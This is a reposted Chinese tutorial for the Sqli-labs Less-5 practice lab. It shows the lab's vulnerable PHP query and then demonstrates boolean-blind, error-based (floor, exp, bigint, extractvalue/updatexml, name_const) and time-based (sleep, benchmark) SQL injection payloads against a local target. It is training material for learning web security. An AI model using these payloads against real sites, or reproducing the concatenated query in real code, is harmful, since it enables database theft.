Sqli-labs Less-5 布爾盲注 & 報錯注入 & 延時注入


查看后台源碼,我們發現,運行返回結果正確的時候只返回you are in....,不會返回數據庫當中的信息了。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

所以這關的正確思路是盲注。

 

1、利用left(database(),1)進行嘗試

首先查看一下version()

http://127.0.0.1/sql/Less-5/?id=1' and left(version(),1)='5' %23

這里的語句的意思是看版本號的第一位是不是5,明顯的返回的結果是正確的。

當版本號不正確的時候,則不能正確顯示 you are in......

可以試出數據庫的版本號為5.6.17

 

接下來看一下數據庫的長度

http://127.0.0.1/sql/Less-5/?id=1' and length(database())=8 %23

長度為8時,返回正確結果,說明長度為8。

 

猜測數據庫第一位

http://127.0.0.1/sql/Less-5/?id=1' and left(database(),1)>'a'--+

Database()為security,所以我們看他的第一位是否 > a,很明顯的是s > a,因此返回正確。當我們不知情的情況下,可以用二分法來提高注入的效率。

 

猜測數據庫第二位

得知第一位為s,我們看前兩位是否大於 sa

http://127.0.0.1/sql/Less-5/?id=1' and left(database(),2)>'sa'--+

往下的舉一反三,最終得知數據庫名為security。

 

2、利用substr() ascii()函數進行嘗試

利用以下方式獲取security數據庫下的表

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--

此處table_schema可以寫成 ='security',但是我們這里使用的database(),是因為此處database()就是security。此處同樣的使用二分法進行測試,直到測試正確為止。

此處應該是101,因為第一個表是email。

 

如何獲取第一個表的第二位字符呢?我們已經了解了substr()函數,這里使用substr(**,2,1)即可。

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

 

那如何獲取第二個表呢?思考一下!

這里可以看到我們上述的語句中使用的limit 0,1. 意思就是從第0個開始,獲取第一個。那要獲取第二個是不是就是limit 1,1!

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

此處113返回是正確的,因為第二個表示referers表,所以第一位就是r。

以后的過程就是不斷的重復上面的,這里就不重復造輪子了。原理已經解釋清楚了。

當你按照方法運行結束后,就可以獲取到所有的表的名字。

 

3、利用regexp正則注入獲取users表中的列

下面語句是選擇users表中的列名是否有以us開頭的列

http://127.0.0.1/sql/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users'  and column_name regexp '^us' limit 0,1)--+

http://127.0.0.1/sql/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users'  and column_name regexp '^username' limit 0,1)--+

可以試出username存在。我們可以將username換成password等其他的項也是正確的。

 

4、利用ord()和mid()函數獲取users表的內容

http://127.0.0.1/sql/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

Explain:

(1)cast(username as char)將username轉換成char類型,注意這里是cast函數(語法:Cast(字段名 as 轉換的類型 )),我剛開始寫成了case,結果報語法錯誤,檢查了好幾遍才發現。

(2)ifnull(expr1,expr2)函數的語法為如果 expr1 不是null,ifnull() 返回 expr1,否則它返回 expr2。

(3)0x20是空格的ascii碼的十六進制表示。

(4)mid()函數截取字符串一部分,mid(str,start,length)從位置start開始,截取str字符串的length位。

(5)ord()函數同ascii(),將字符轉為ascii值。

綜上,這個SQL的意思是查詢users表中的username列,以id排序,找到第一個值,截取第一個字符,將其轉換為ascii碼,並與68(大小字母D)作比較。

我們從表中得知第一行的數據為Dumb。所以接下來只需要重復造輪子即可。

 

總結:以上1、2、3、4我們通過使用不同的語句,將通過布爾盲注SQL的所有的payload進行演示了一次。想必通過實例更能夠對sql布爾盲注語句熟悉和理解了。

接下來,我們演示一下報錯注入和延時注入。

 

5、報錯注入

方法1 利用floor()函數報錯注入

http://127.0.0.1/sql/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

其中,select user()可以修改為你構造的任意查詢語句。

上述hacker sql的意思請參考https://www.freebuf.com/articles/web/38315.htmlhttps://www.cnblogs.com/GH-D/p/8274091.html

簡單來說,floor報錯注入的原理是rand和order by或group by的沖突。在mysql文檔中的原文如下:

方法2 利用double數值類型超出范圍進行報錯注入

http://127.0.0.1/sql/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3--+

原理見Sqli-labs Less-14 利用exp()函數造成double數值類型超出范圍進行報錯注入

 

方法3 利用bigint溢出進行報錯注入

http://127.0.0.1/sql/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

 

方法4 利用xpath函數報錯注入

http://127.0.0.1/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

http://127.0.0.1/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

原理可參考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

 

方法5 利用數據的重復性

http://127.0.0.1/sql/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

 

6、延時注入

方法1 利用sleep()函數延時注入

http://127.0.0.1/sql/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

當錯誤的時候會有5秒的時間延時。

 

方法2 利用benchmark()函數延時注入

http://127.0.0.1/sql/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

當結果正確的時候,運行ENCODE('MSG','by 5 seconds')操作50000000次,會占用一段時間。

至此,我們已經將上述講到的盲注的利用方法全部在less5中演示了一次。在后續的關卡中,將會挑一種進行演示,其他的盲注方法請參考less5。

 

來自:https://www.cnblogs.com/lcamry/p/6122257.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM